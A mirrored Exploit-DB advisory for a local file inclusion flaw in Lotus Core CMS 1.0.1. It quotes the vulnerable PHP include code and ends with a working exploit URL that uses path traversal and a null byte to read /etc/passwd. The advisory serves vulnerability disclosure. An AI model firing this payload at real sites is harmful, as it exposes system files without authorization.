Lotus Core CMS 1.0.1 – Local File Inclusion - 体验盒子

作者： Daniel Monzón

日期： 2020-01-31

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47985/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

# Exploit Title: Lotus Core CMS 1.0.1 - Local File Inclusion

# Google Dork: N/A

# Date: 2020-01-31

# Exploit Author: Daniel Monzón (stark0de)

# Vendor Homepage: http://lotuscore.sourceforge.net/

# Software Link: https://sourceforge.net/projects/lotuscore/files/latest/download

# Version: 1.0.1

# Tested on: Windows 7 x86

# CVE : N/A

The vulnerability occurs on line 65 of the index.php file, first we can provide the page_slug parameter,

if it's not set by the user it is set to index, but if the user sets the parameter via a GET or POST request,

it checks if the file exists and if it exists, it performs an unsanitized inclusion.

-----------------------------------------------------------------------------

if(!$_REQUEST['page_slug']){

$_REQUEST['page_slug'] = 'index';

}

if(file_exists('system/plugins/'.$_REQUEST['page_slug'].'.php') == true){

include('system/plugins/'.$_REQUEST['page_slug'].'.php');

}else{

include("system/plugins/error/404.php");

}

------------------------------------------------------------------------------

The PHP file appends .php to anything we provide as page_slug parameter so to include any file we must use a nullbyte.

Note that you need to be authenticated to exploit this. The explotation would be like this:

http://site:80/index.php?page_slug=../../../../../etc/passwd%00